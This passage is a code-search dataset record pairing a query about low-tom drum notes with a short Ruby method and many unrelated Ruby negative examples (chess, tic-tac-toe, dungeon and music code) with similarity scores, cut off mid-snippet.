"def remove_test_bugs\n [Hive::Color[:white],Hive::Color[:black]].collect.each{|color|\n $game.bugs[color].each{|bug| \n bug.sides.each{|side|\n # Make any bugs that touched the Hive::Tester forget it ever existed.\n side.bug = false if side.bug.class.name == 'Hive::Tester'\n }\n # Delete the Hive::Tester bug itself.\n bug = false if bug.class.name == 'Hive::Tester'\n }\n }\n end", "def towerofhanoi(pieces, sourcepeg, destinationpeg, extrapeg)\n if pieces == 0 then\n return \"no pieces to move\"\n end\n towerofhanoi(pieces-1,sourcepeg,extrapeg,destinationpeg)\n puts \"moved #{pieces} from \" + \"#{sourcepeg} to #{destinationpeg}\"\n towerofhanoi(pieces-1,extrapeg,destinationpeg,sourcepeg)\nend", "def check_blocking_pieces(positions) # works fucking brilliantly love it and testing in pry is so fucking great fucking love your workflow\n positions.each_with_index do |move, index| # omg this is using each perfectly, because if it doesn't return inside this helper method it'll just return what was passed to it as is that's what .each is good for - either doing some random action for each enumeration or even more ideally just returning a different value if something inside is different or returning the whole thing if not fucking incredible\n piece = @board.grid[move[0]][move[1]]\n if !piece.is_a?(NullPiece) # only get the moves before the first blocking piece is found, immediately return once/if a non NullPiece is found in the path # if the current position is not a null piece, then return this with a truncated version of the array\n piece.color == self.color ? (return positions.slice(0...index)) : (return positions.slice(0..index)) # check if the piece is of the same color or not - if it is of the same color, then don't include it in possible moves, if not of the same color, include it in the possible moves since you can capture it. Normally you use @color vs self.color but in this case it does seem to be more readable and make more sense to run self.color since you already have an attr_getter for it why not. And perfect use case for a protected method if you didn't need the color anywhere else let's see :) you might not let's do it just because protected methods are so cool # GOD THIS SHIT WORKS SO FUCKING GOOD AHHHHHHH\n end\n end\nend", "def swim(water, life)\n\n if water.name == -9 && life.name >= 0\n # ####puts \"fuck\"\n if life.type != \"seaweed\"\n if water.name == -9 && rand(3) == 0 && (rand(water.depth) != 0)\n if life.traits[1] < water.depth\n water.energy += (life.energy)\n Fighter.all.delete(life)\n Fighter.predos.delete(life)\n Fighter.plants.delete(life)\n Fighter.herbis.delete(life)\n life = nil\n end\n end\n end\n end\n GC.start(full_mark: true, immediate_sweep: true);\nend", "def clean_up_battle\n for window in @windows.values\n next if window == nil #skill all already disposed items.\n window.visible = false#hide all windows\n window.active = false #disable all windows\n end\n \n for battler in tactics_all\n battler.clear_tbs_actions #clear actions\n battler.tbs_battler = false #clear in battle flag\n add_remove_invited(battler) #check and add 'invited' actors to the team\n remove_dead_actors if GTBS::Dead_Actors_Leave\n end\n end", "def computer_places_piece!(brd)\n danger = danger_line(brd)\n\n if danger\n sub_hash = brd.select { |key, value| danger.include? key }\n square = sub_hash.select { |key, value| value == INITIAL_MARKER }.keys.first\n brd[square] = COMPUTER_MARKER\n else\n square = empty_squares(brd).sample\n brd[square] = COMPUTER_MARKER\n end\nend", "def preClean(leave_ours = false)\n end", "def computer_places_piece!(brd)\n square = nil\n\n WINNING_LINES.each do |line|\n square = find_two_sqrs(line, brd, PLAYER_MARKER)\n break if square\n end\n\n if !square\n WINNING_LINES.each do |line|\n square = find_two_sqrs(line, brd, COMPUTER_MARKER)\n break if square\n end\n end\n\n if !square\n square = empty_squares(brd).sample\n end\n\n brd[square] = COMPUTER_MARKER\nend", "def swab_poop_deck\n self.rhumb_lines.truncate(0) if self.swab == :none && self.mop == :clean && File.size(self.brigantine) > 0\n end", "def delete_rooms\n\n to_delete_rooms_keys = @rooms.keys.shuffle\n puts \"Current dungeon size = #{@rooms.count}\" if @output\n target_dungeon_size = @rooms.count - ((@dungeon_size**2)*@rooms_removal_coef).ceil\n puts \"Target dungeon size = #{target_dungeon_size}\" if @output\n\n while @rooms.count > target_dungeon_size && !to_delete_rooms_keys.empty?\n\n to_delete_room_key = to_delete_rooms_keys.shift\n tmp_rooms = @rooms.clone\n tmp_rooms.delete( to_delete_room_key )\n\n dw = DungeonWalker.new( tmp_rooms, @dungeon_size, @entry )\n # If we can walk to all the rooms in the dungeon, then the room deletion is validated\n if dw.walk_rooms.count == tmp_rooms.count\n @hallways.disable_hallways!( to_delete_room_key )\n @rooms.delete( to_delete_room_key )\n end\n # Otherwise we try with the next room\n\n end\n\n puts \"Final dungeon size = #{@rooms.count}\" if @output\n end", "def possible_knight_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y+2]\n\t\tcandidates << [x+1,y-2]\n\t\tcandidates << [x-1,y+2]\n\t\tcandidates << [x-1,y-2]\n\t\tcandidates << [x+2,y+1]\n\t\tcandidates << [x+2,y-1]\n\t\tcandidates << [x-2,y+1]\n\t\tcandidates << [x-2,y+1]\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\ttrue\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend", "def chess_pieces\n pieces = @state.map do |row|\n row.select { |piece| piece != nil }\n end.flatten\n end", "def trim_tree\n @corridor_seeds.each { |seed| check_branch(corridor_map[seed]) }\n end", "def computer_places_piece!(brd)\n square = nil\n # Defence\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, COMPUTER_MARKER)\n break if square\n end\n # Offence\n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n # Pick square 5 if its available\n if !square\n square = 5 if empty_squares(brd).include?(5)\n end\n # just pick a square\n if !square\n square = empty_squares(brd).sample\n end\n brd[square] = COMPUTER_MARKER\n sleep_to_make_game_nicer(1)\nend", "def check(used, placement)\n if placement.length > 8 # all pieces have been checked and fit\n $answer = placement\n return true\n end\n # iterate over unused pieces and rotations (you may not need to do all rotations)\n $pieces.each_index do |pos|\n next if used[pos]\n piece = $pieces[pos]\n for i in 0..3\n this_placement = placement + [piece]\n if fits(this_placement)\n # if you find a fit, mark the piece as used and call the check for the next step\n these_used = used.clone\n these_used[pos] = true\n finished = check(these_used, this_placement)\n return true if finished\n end\n piece = rotate(piece) unless i == 3\n end\n end\n return false\nend", "def valid_moves(board, current_pos)\n array_of_moves = moves(current_pos)\n\n array_of_moves.delete_if {|pair| pair.min < 0 || pair.max > 7}\n array_of_moves.delete_if {|pair| pair == current_pos}\n\n # array_of_moves = array_of_moves.select {|pos| obstructed?(current_pos,pos,board)} if slider\n #\n # puts array_of_moves\n # sleep 2\n\n end", "def handle_divisible_by_23(player)\n player.score += @number\n marble_to_remove = @current_marble.previous_marble\n 6.times { marble_to_remove = marble_to_remove.previous_marble }\n marble_to_remove.previous_marble.next_marble =\n marble_to_remove.next_marble\n marble_to_remove.next_marble.previous_marble =\n marble_to_remove.previous_marble\n player.score += marble_to_remove.number\n @current_marble = marble_to_remove.next_marble\n end", "def legal_moves(state)\n move_list = pre_check_legal_moves(state)\n # # Eliminate moves which leave player in check\n # # move_list.delete_if { |move| check?(next_state(state, move)) }\n # move_list.each do |move| \n # if check?(next_state(state, move))\n # print \".\"\n # move_list.delete(move)\n # end\n # end\n move_list\n end", "def cleanup_empty_room(room)\n # dump_round_vars 'Entering cleanup_empty_room()'\n # if !@@prev_round[room].nil?\n # finalize_round(@@prev_round[room]) # ...finalize any previous round\n # @@prev_round[room] = nil\n # end\n # if !@@curr_round[room].nil?\n # finalize_round(@@curr_round[room]) # ...finalize any in-progress round\n # # @@curr_round[room] = nil\n # end\n # dump_round_vars '', 'Exiting cleanup_empty_room()'\n end", "def break_plates_in_blocks(plates)\n\tn_plates = number_of_plates(plates)\n\tplaque_index=0\n\twhile plaque_index<n_plates\n\t\tlog \"breaking plate #{plaque_index}\"\n\t\tall_points = points_of_the_plate(plates,plaque_index)\n\t\tif all_points.count>0\n\t\t\tstart_point = all_points[0]\n\t\t\tmain_block = []\n\t\t\texpand_block(plates,main_block,start_point,plaque_index)\n\t\t\ttoremove = all_points.select {|p| not main_block.include? p}\t\t\t\n\t\t\tif toremove.count>0\n\t\t\t\tlog \"plate to be broken, #{toremove.count} points removed, #{main_block.count} kept\"\n\t\t\t\ttoremove.each {|p| x,y=p; plates.set(x,y,n_plates)}\n\t\t\t\tn_plates += 1\t\t\t\t\n\t\t\tend\t\t\t\n\t\tend\n\t\tplaque_index += 1\n\tend\nend", "def valid_moves\n moves.reject {|move| move_into_check?(move)}\n end", "def do_housecleaning\n puts \"\\n********** Entering do_housecleaning() **********\"\n\n round_ids = (@@prev_round + @@curr_round + @@next_round).compact.uniq\n rounds_to_ignore = round_ids.map{|id| Round.find(id)} if !round_ids.nil?\n qo_to_ignore = QuestionOccurrence.select{|qo| rounds_to_ignore.include?(qo.round)}\n results_to_ignore = Result.select{|rt| rounds_to_ignore.include?(rt.round)}\n\n oldNumQO = QuestionOccurrence.count\n oldNumRd = Round.count\n oldNumRt = Result.count\n edRd = edRt = []\n\n # Only keep QuestionOccurrences that have Questions\n QuestionOccurrence.prune_question_orphans(qo_to_ignore)\n \n # Only keep QuestionOccurrences that have Rounds\n QuestionOccurrence.prune_round_orphans(qo_to_ignore)\n\n # Only keep Results that have at least 1 corr/skip/incorr\n Result.prune_unanswered(results_to_ignore)\n\n # Only keep Results that have Users\n Result.prune_user_orphans(results_to_ignore)\n\n # Only keep Results that have Rounds\n Result.prune_round_orphans(results_to_ignore)\n\n # Only keep Rounds that have QuestionOccurrences\n Round.prune_question_occurrence_orphans(rounds_to_ignore)\n\n # Only keep Rounds that have Results\n Round.prune_result_orphans(rounds_to_ignore)\n\n # Recalculate any clearly erroneous num_correct, num_skipped, num_incorrect\n edRt += Result.recalculate_incorrect_num_answers(results_to_ignore)\n\n # Recalculate any clearly incorrect Round.num_participants\n edRd += Round.recalculate_incorrect_num_participants(rounds_to_ignore)\n\n # Recalculate any clearly incorrect Round.max_qo_index\n edRd += Round.recalculate_incorrect_max_qo_index(rounds_to_ignore)\n\n # Only keep QuestionOccurrences reached in that Round \n QuestionOccurrence.prune_unreached_questions(qo_to_ignore)\n \n # For Results, clear the rank if it is not round_complete\n edRt += Result.unrank_incompletes\n\n # Recalculate any clearly incorrrect ranks\n edRt += Result.recalculate_outlier_ranks(results_to_ignore)\n\n edNumRt = edRt.uniq.length\n edNumRd = edRd.uniq.length\n\n newNumQO = QuestionOccurrence.count\n newNumRd = Round.count\n newNumRt = Result.count\n puts \"Deleted #{oldNumQO-newNumQO} QuestionOccurrences, #{oldNumRd-newNumRd} Rounds, #{oldNumRt-newNumRt} Results\"\n puts \"Performed #{edNumRd} updates on Rounds, #{edNumRt} updates on Results\"\n puts \"********** Exiting do_housecleaning() **********\\n\"\n end", "def move_piece(move, color) \n squares = find_start_and_end(move) # [start, end]\n\n return false if @display[squares[0][0]][squares[0][1]].guest == ' '\n\n start_piece = @display[squares[0][0]][squares[0][1]].guest\n\n return false if start_piece.color != color \n\n moves = get_legal_moves(squares[0], start_piece, start_piece.poss_moves(squares[0]))\n\n\n if moves.include?(squares[1])\n\n # castling\n if start_piece.id == 'king' && start_piece.color == 'white' && squares[1] == [7, 1] \n make_move(squares[0], squares[1], start_piece)\n make_move([7, 0], [7, 2], @display[0][0].guest)\n elsif start_piece.id == 'king' && start_piece.color == 'black' && squares[1] == []\n make_move(squares[0], squares[1], start_piece)\n make_move([0, 0], [0, 2], @display[7][0].guest)\n\n # pawn -> queen upgrade\n elsif start_piece.id == 'pawn' && start_piece.color == 'white' && squares[1][0].zero?\n make_move(squares[0], squares[1], Queen.new('white'))\n elsif start_piece.id == 'pawn' && start_piece.color == 'black' && squares[1][0] == 7\n make_move(squares[0], squares[1], Queen.new('black'))\n\n else\n make_move(squares[0], squares[1], start_piece)\n end\n else\n false\n end\n end", "def gen_bishop_moves(color, piece=:bishop)\n moves = []\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n enemy = @position.black_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n enemy = @position.white_pieces\n end\n\n # no work to do when there are no pieces\n return moves if position[piece].nil?\n \n # for each piece\n position[piece].set_bits.each do |from| \n # [i,j] = current position\n i = from / 8\n j = from % 8\n\n #dirs flags which directions the piece is blocked\n dirs = 0\n for k in 1..7\n break if dirs == 0xf\n \n # try moving north-east\n if (dirs & 0x1) != 0x1\n to = from+k*9\n if i+k>7 || j+k>7 || comrades.set?(to)\n # no further north-east moves possible\n dirs = dirs | 0x1\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x1 if enemy.set?(to) \n end\n end\n \n # try moving south-west\n if (dirs & 0x2) != 0x2\n to = from-k*9\n if i<k || j<k || comrades.set?(to)\n # no further south-west moves possible\n dirs = dirs | 0x2\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further south-west moves possible\n dirs = dirs | 0x2 if enemy.set?(to) \n end\n end\n \n # try moving north-west\n if (dirs & 0x4) != 0x4\n to = from+k*7\n if i+k>7 || j<k || comrades.set?(to)\n # no further north-west moves possible\n dirs = dirs | 0x4\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north-west moves possible\n dirs = dirs | 0x4 if enemy.set?(to) \n end\n end \n \n # try moving south-east\n if (dirs & 0x8) != 0x8\n to = from-k*7\n if i<k || j+k>7 || comrades.set?(to)\n # no further south-east moves possible\n dirs = dirs | 0x8\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further south-east moves possible\n dirs = dirs | 0x8 if enemy.set?(to) \n end\n end\n \n end\n end \n moves\n end", "def pieces_between(source, target)\n dir = smallest_vec(source, target)\n number_of_spaces = (differential(source, target)[0])/dir[0] - 1\n \n [].tap do |empties|\n (1..number_of_spaces).each do |i|\n pos = move(source, dir, i)\n empties << pos unless board.is_empty?(pos)\n end\n end\n end", "def pawn_promotion(move, current)\n if current.piece.class.name == \"Board::Pawn\"\n if current.piece.color == \"white\"\n if move[-1].to_i == 8\n promotion_piece = promotion_validity_check\n\n case promotion_piece\n when \"Q\"\n current.piece = Queen.new(current, \"♕\", \"white\" )\n when \"R\"\n current.piece= Rook.new(current, \"♖\", \"white\")\n when \"B\"\n current.piece = Bishop.new(current, \"♗\", \"white\")\n when \"N\"\n current.piece = Knight.new(current, \"♘\", \"white\")\n end\n end\n end\n\n if current.piece.color == \"black\"\n if move[-1].to_i == 1\n promotion_piece = promotion_validity_check\n\n case promotion_piece\n when \"Q\"\n current.piece = Queen.new(current, \"♛\", \"black\" )\n when \"R\"\n current.piece= Rook.new(current, \"♜\", \"black\")\n when \"B\"\n current.piece = Bishop.new(current, \"♝\", \"black\")\n when \"N\"\n current.piece = Knight.new(current, \"♞\", \"black\")\n end\n end\n end\n\n end\nend", "def capture_piece(p_moves, opp_pieces, board)\n # check if opponent piece is in the square\n opp_piece = get_piece(p_moves[1], board)\n # capture and remove piece\n opp_index = opp_pieces.find_index { |piece| piece.history.last == opp_piece.history.last } if opp_piece\n opp_pieces.delete_at(opp_index) if opp_piece\n end", "def cpu_progress\n remove_array = []\n (0..3).each do |_i|\n (0..6).each do |c|\n token_placed = board_place_token(c)\n if game_result != NO_RESULT_YET\n remove_array.reverse_each do |r| # remove moves from our array 'stack'\n board_remove_token(r)\n end\n return true\n end\n remove_array.push(c) if token_placed # add move for later deletion\n end\n end\n end", "def solve_part_two\n input = File.read(ARGV[0])\n\n grid = Grid.from_puzzle_input(input)\n grid.create_all_carts\n\n until grid.carts.one?\n # Deleting elements while iterating them really confuses Ruby by the\n # looks of things; keep track of elements we need to delete using a \n # Set instead, ignoring them on future iterations then deleting at the\n # end\n scheduled_for_deletion = Set.new\n\n grid.carts.each do |cart|\n next if scheduled_for_deletion.include? cart\n\n cart.tick\n next unless grid.collision\n colls = grid.collisions\n\n colls.each do |coll|\n scheduled_for_deletion << coll[0] << coll[1]\n end\n end\n\n scheduled_for_deletion.each do |deleted_cart|\n grid.carts.delete(deleted_cart)\n end \n\n # Re-sort the array following the deletions\n grid.carts.sort_by! { |c| c.position.top * 1000 + c.position.left }\n end\n\n p grid.carts.first.position\nend" ]
[ "0.7332405", "0.7161907", "0.69368786", "0.66186357", "0.6570748", "0.6511492", "0.6466447", "0.6409401", "0.63781685", "0.63770384", "0.6326164", "0.63201946", "0.6308634", "0.6265742", "0.6260971", "0.62131125", "0.61990744", "0.6192089", "0.61863774", "0.61805636", "0.61778903", "0.61661977", "0.6104513", "0.60809296", "0.6055607", "0.60528755", "0.6044984", "0.6017387", "0.6012857", "0.6004911", "0.59955263", "0.5968197", "0.59471637", "0.594255", "0.5932432", "0.59159726", "0.5898944", "0.5890803", "0.5862902", "0.5859324", "0.5855985", "0.5855936", "0.58537376", "0.58204824", "0.58149326", "0.581123", "0.58039457", "0.5799566", "0.5796464", "0.5795402", "0.57950807", "0.57950544", "0.5792855", "0.5783705", "0.57830006", "0.57819325", "0.57814205", "0.57812756", "0.5779804", "0.5763078", "0.5753068", "0.57483625", "0.5746913", "0.57381886", "0.57319057", "0.5731016", "0.572856", "0.5725081", "0.5718446", "0.5708374", "0.5705647", "0.5703483", "0.56950307", "0.56908363", "0.56903344", "0.5684619", "0.5683934", "0.5681242", "0.56775606", "0.5676241", "0.567617", "0.56749266", "0.56729716", "0.5663307", "0.56588006", "0.5645822", "0.5645686", "0.5641984", "0.5639803", "0.5637473", "0.5631117", "0.5630315", "0.56299907", "0.56253374", "0.5614306", "0.56106985", "0.5609622", "0.5609284", "0.56078964", "0.55999285", "0.55968297" ]
0.0
-1
different from document? low toms should play on 41, 43
def low_toms [43] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def play_as_master_second\r\n \r\n end", "def microgram? = unit == 'microgram'", "def audio; end", "def sheetlisten()\n n=0.5\n i=0\n while i<@songstr.length-1\n case @songstr[i]\n when 'a' \n play :a\n when 'b' \n play :b\n when 'c' \n play :c\n when 'd' \n play :d\n when 'e' \n play :e\n when 'f' \n play :f\n when 'g' \n play :g\n else\n if(!is_numeric?(@songstr[i]))\n puts(\"invalid char\")\n end\n end\n if(!is_numeric?(@songstr[i+1]))\n sleep 0.5\n else\n case @songstr[i+1]\n when '2' \n #for halfnote at regular speed: sleep 1\n n=1\n when '8' \n #for eighth\n n=0.25\n when '6' \n #for sixteenth note\n n=0.125\n end\n sleep n\n i+=1\n end\n i+=1\n end\n end", "def non_musical_sound_recording?\n marc_leader_06_match = record.leader.byteslice(6) == 'i'\n\n marc_006_match = record.fields('006').find do |field|\n field.value.byteslice(0) == 'i'\n end\n\n return true if marc_leader_06_match || marc_006_match\n end", "def sound; end", "def play; end", "def kids_musical; end", "def make_first_play?(points)\n points > 350\n end", "def speech; end", "def musician; end", "def musician; end", "def passive_voice_indicative_mood_future_tense\n end", "def part1\n 2.times do\n \n 6.times do\n play :G4\n play :E4\n play :E2\n sleep 0.5\n end\n \n 2.times do\n play :A4\n play :E4\n play :E2\n sleep 0.5\n end\n end\nend", "def play_random_clip()\n 0.upto(8){\n\tid = rand($full_sample_filelist.size)\n=begin\t\n\t# Theses variables are used by the sample playing - affected to the last line of knobs\n\t$sample_volume = 1.0\n\t$sample_speed = 1.0\n\t$sample_reverse = false\n\t$sample_sampling_rate = 44100\n\t$sample_start_pos = 0.0\n\t$sample_phaser = [ false, 0.95, 0.95, 3, 0.6, 2, \"-t\" ] # active gain-in gain-out delay decay speed [-s(inusoid)|-t(riangle)]\n\t$sample_flanger = [ false, 3, 9.5, 0, 70, 2, \"sin\", 100, \"quadratic\" ] # [active, delay depth regen width speed shape phase interp]\n\t$sample_reverb = [ false, 99, 99, 100, 100, 0, 0, ] # active, reverb, HF-damping, room-scale, stereo-depth, pre-delay, wet-gain\n=end\n\tcmd = \"play -v #{$sample_volume} \\\"#{$full_sample_filelist[id]}\\\" \"\n\tcmd += \"rate #{$sample_sampling_rate} \"\n\tcmd += \"speed #{$sample_speed} \"\n\tcmd += \"#{$sample_reverse == true ? \"reverse\" : \"\"} \"\n\tcmd += \"trim =0.0 \"\n\t\n\tcmd += $sample_phaser[0] == true ? \"phaser #{$sample_phaser[1].round(2)} #{$sample_phaser[2].round(2)} #{$sample_phaser[3].round(2)} #{$sample_phaser[4].round(2)} #{$sample_phaser[5].round(2)} #{$sample_phaser[6]} \" : \"\"\n\tcmd += $sample_flanger[0] == true ? \"flanger #{$sample_flanger[1].round(2)} #{$sample_flanger[2].round(2)} #{$sample_flanger[3].round(2)} #{$sample_flanger[4].round(2)} #{$sample_flanger[5].round(2)} #{$sample_flanger[6]} #{$sample_flanger[7].round(2)} #{$sample_flanger[8]} \" : \"\"\n\tcmd += $sample_reverb[0] == true ? \"reverb #{$sample_reverb[1].round(2)} #{$sample_reverb[2].round(2)} #{$sample_reverb[3].round(2)} #{$sample_reverb[4].round(2)} #{$sample_reverb[5].round(2)} #{$sample_reverb[6].round(2)} \" : \"\"\n\t\n\tcmd += \" > /dev/null 2>&1\" #[ false, 3, 9.5, 0, 70, 2, \"sin\", 100, \"quadratic\" ]\n\n\tputs cmd\n \tThread.new(){\n\t\tif(rand(2) < 1) then # thread it and jump to next sample instantly\n\t\t\tThread.new(){\n\t\t\t\tsystem(cmd)\n\t\t\t}\n\t\telse\n\t\t\tsystem(cmd)\n\t\tend\n \t####sleep(rand(1.0))\n \t}\n\n }\nend", "def min_shutter_speed; end", "def media_speed\n super\n end", "def play_as_master_first\r\n \r\n end", "def get_play() \n # \n end", "def quality_start?\r\n if inn.to_i >= 6 && self.r.to_i < 4\r\n return true\r\n end\r\n return false\r\n end", "def main_audio ; end", "def passive_voice_subjunctive_mood_present_tense\n end", "def milligram? = unit == 'milligram'", "def play\r\n\t\t[FOLD]\r\n\tend", "def passive_voice_indicative_mood_imperfect_tense\n end", "def active_voice_indicative_mood_imperfect_tense\n end", "def play \n end", "def active_voice_indicative_mood_future_tense\n end", "def play\n @played = knows_legals? ? random_play : most_likely_play\n end", "def testrandom\n zplay \"e 0..11\"\n sleep 0.5\n zplay \"e (0..11)~\"\n sleep 0.5\n zplay \"e ( (100,1000) :3)<r>\"\n sleep 0.5\n zplay \"e (0..2)<m>\"\n sleep 0.5\n zplay \"e (0..6)?\"\n sleep 0.5\n zplay \"e (0..6)?2\"\n sleep 0.5\n zplay \"e (0..6)~2*2\"\n sleep 0.5\n zplay \"e ((0,6))+1*2/3%7\"\n sleep 0.5\n zplay \"e (w q q e e)<>((1000,4000))\"\n sleep 0.5\n zplay \"e (w q q e e e)<>(0..8)\"\n sleep 0.5\n zplay \"e (w q q e e e)<>(0..8)~\"\n sleep 0.5\n zplay \"q (q e e)<>(: 100..1000 :3)?5$\"\n sleep 0.5\n zplay \"(q e e)<>(: 100..1000 :3)?5&\"\n sleep 0.5\n zplay \"(e q e)<>(: 0..4 :4)~2+1*3\"\n\nend", "def two_player_mode\nend", "def playable?\n false\n end", "def play_random_clip_fx_random()\n 0.upto(8){\n\tid = rand($full_sample_filelist.size)\n\t# Theses variables are used by the sample playing - affected to the last line of knobs\n\t$my_sample_volume = 0.2 + rand() * 0.8\n\tif($my_sample_volume > $sample_volume) then\n\t\t$my_sample_volume = $sample_volume\n\tend\n\n\t$my_sample_speed = 0.1 + rand(0.9)\n\t$my_sample_reverse = rand(2) < 1 ? false : true\n\t$my_sample_sampling_rate = 44100\n\t$my_sample_start_pos = 0.0 + rand(0.0..1.0)\n\t$my_sample_phaser = [ rand(2) < 1 ? false : true, \n\t\t\t\t0.95, 0.95, 3, 0.6, 2, \"-t\" ] # active gain-in gain-out delay decay speed [-s(inusoid)|-t(riangle)]\n\t$my_sample_flanger = [ rand(2) < 1 ? false : true, \n\t\t\t\t3, 9.5, 0, 70, 2, \"sin\", 100, \"quadratic\" ] # [active, delay depth regen width speed shape phase interp]\n\t$my_sample_reverb = [ rand(2) < 1 ? false : true, \n\t\t\t\t99, 99, 100, 100, 0, 0, ] # active, reverb, HF-damping, room-scale, stereo-depth, pre-delay, wet-gain\n\n\tcmd = \"play -v #{$my_sample_volume * 0.2} \\\"#{$full_sample_filelist[id]}\\\" \"\n\tcmd += \"rate #{$my_sample_sampling_rate} \"\n\tcmd += \"speed #{$my_sample_speed.round(2)} \"\n\tcmd += \"#{$my_sample_reverse == true ? \"reverse\" : \"\"} \"\n#=begin \n## TODO fix trim\n\tlength = get_sample_length($full_sample_filelist[id])\n\tputs \"l: #{length}\"\n\tputs \"sample_start_pos: #{$my_sample_start_pos}\"\n\tstart_pos = $my_sample_start_pos.round(2) * length.round(2)\n\tstart_pos_HMS = Time.at(start_pos).utc.strftime(\"%H:%M:%S.%L\")\n\tcmd += \"trim =#{start_pos_HMS} \"\n#=end\t\n\tcmd += $my_sample_phaser[0] == true ? \"phaser #{$my_sample_phaser[1].round(2)} #{$my_sample_phaser[2].round(2)} #{$my_sample_phaser[3].round(2)} #{$my_sample_phaser[4].round(2)} #{$my_sample_phaser[5].round(2)} #{$my_sample_phaser[6]} \" : \"\"\n\tcmd += $my_sample_flanger[0] == true ? \"flanger #{$my_sample_flanger[1].round(2)} #{$my_sample_flanger[2].round(2)} #{$my_sample_flanger[3].round(2)} #{$my_sample_flanger[4].round(2)} #{$my_sample_flanger[5].round(2)} #{$my_sample_flanger[6]} #{$my_sample_flanger[7].round(2)} #{$my_sample_flanger[8]} \" : \"\"\n\tcmd += $my_sample_reverb[0] == true ? \"reverb #{$my_sample_reverb[1].round(2)} #{$my_sample_reverb[2].round(2)} #{$my_sample_reverb[3].round(2)} #{$my_sample_reverb[4].round(2)} #{$my_sample_reverb[5].round(2)} #{$my_sample_reverb[6].round(2)} \" : \"\"\n\n\tcmd += \" > /dev/null 2>&1\" #[ false, 3, 9.5, 0, 70, 2, \"sin\", 100, \"quadratic\" ]\n\n\tputs cmd\n\tThread.new(){\n\t\tif(rand(2) < 1) then # thread it and jump to next sample instantly\n\t\t\tThread.new(){\n\t\t\t\tsystem(cmd)\n\t\t\t}\n\t\telse\n\t\t\tsystem(cmd)\n\t\tend\n \t####sleep(rand(1.0))\n\t}\n\n }\nend", "def play\n\tend", "def plays\n return @words_played\n end", "def medical_use; end", "def one_player_mode\nend", "def max_shutter_speed; end", "def active_voice_subjunctive_mood_present_tense\n end", "def play\n \n end", "def audios_test\n end", "def passive_voice_indicative_mood_present_tense\n end", "def test_it_displays_only_three_previous_plays\n skip\n visit '/plays'\n within(\"#plays\") do\n first_words.each do |word, score|\n refute page.has_content?(word.downcase)\n end\n\n last_words.each do |word, score|\n assert page.has_content?(word.downcase)\n assert page.has_content?(score)\n end\n end\n end", "def play\n @@plays += 1\n end", "def in_law; end", "def subtitle_stream from = 0.0, to = nil\n to = 99999999999.99 unless to\n @all_subs ||= doc.xpath(\"/#{ @subs_ns }:tt/#{ @subs_ns }:body/#{ @subs_ns }:div/#{ @subs_ns }:p\")\n @all_subs.select {|n|\n # puts \"Vedo se #{ n['begin'].to_f } >= #{ from } e se #{ n['end'].to_f } <= #{ to }\"\n (n['begin'].to_f >= from) && (n['end'].to_f <= to)\n }\n end", "def play?\n if seconds%@level_num == 0 && seconds != @last_time_value\n @last_time_value = seconds\n true\n @mean_msg = @insults[rand(0...@insults.length)]\n else\n false\n end\n end", "def buz; Sound.play_buzzer; end", "def pbToneChangeAll(tone,duration)\n $game_screen.start_tone_change(tone,duration*2)\n for picture in $game_screen.pictures\n picture.start_tone_change(tone,duration*2) if picture\n end\nend", "def effectiveness_sound(effectiveness)\n if effectiveness == 1\n Audio.se_play('Audio/SE/hit')\n elsif effectiveness > 1\n Audio.se_play('Audio/SE/hitplus')\n else\n Audio.se_play('Audio/SE/hitlow')\n end\n end", "def lightning_crash!\n # Thunder!\n OMX.play('thunder_crash.mp3', :overlap => true)\n\n # Lightning\n OUTPUTS[:r1].off\n sleep 0.55\n OUTPUTS[:r1].on\n\n # Wait for the audio to finish\n sleep 19\n\n # SCARY!\nend", "def play\n end", "def play\n end", "def play\n end", "def play\n end", "def pbPlayBuzzerSE()\n if $data_system && $data_system.respond_to?(\"buzzer_se\") &&\n $data_system.buzzer_se && $data_system.buzzer_se.name!=\"\"\n pbSEPlay($data_system.buzzer_se)\n elsif $data_system && $data_system.respond_to?(\"sounds\") &&\n $data_system.sounds && $data_system.sounds[3] && $data_system.sounds[3].name!=\"\"\n pbSEPlay($data_system.sounds[3])\n elsif FileTest.audio_exist?(\"Audio/SE/GUI sel buzzer\")\n pbSEPlay(\"GUI sel buzzer\",80)\n end\nend", "def pbToneChangeAll(tone, duration)\n $game_screen.start_tone_change(tone,duration * 2)\n for picture in $game_screen.pictures\n picture.start_tone_change(tone,duration * 2) if picture\n end\nend", "def bass_intro\n play :f2, sustain: 3\n sleep 3.66\n play :g2, sustain: 0.66\n sleep 0.66\n play :a2, sustain: 0.66\n sleep 0.93\n play :c3, sustain: 3.5\n sleep 4.4\n play :D3, sustain: 0.66\n sleep 0.66\n play :e3, sustain: 0.66\n sleep 0.93\n play :d3, sustain: 3.5\n sleep 4.4\n play :e3, sustain: 0.66\n sleep 0.66\n play :f3, sustain: 0.66\n sleep 0.93\n play :bb2, sustain: 3.5\n sleep 4.4\n play :e3, sustain: 0.66\n sleep 0.66\n play :f3, sustain: 0.66\n sleep 0.93\n play :f2, sustain: 3.5\n sleep 4.4\n play :g2, sustain: 0.66\n sleep 0.66\n play :a2, sustain: 0.66\n sleep 0.93\n play :c3, sustain: 3.5\n sleep 4.4\n play :d3, sustain: 0.66\n sleep 0.66\n play :f3, sustain: 0.66\n sleep 0.93\n play :a2, sustain: 4\n sleep 5.4\n play :a2, sustain: 0.66\n sleep 0.66\n play :bb2, sustain: 3.5\n sleep 4.4\n play :E3, sustain: 0.66\n sleep 0.66\n play :f3, sustain: 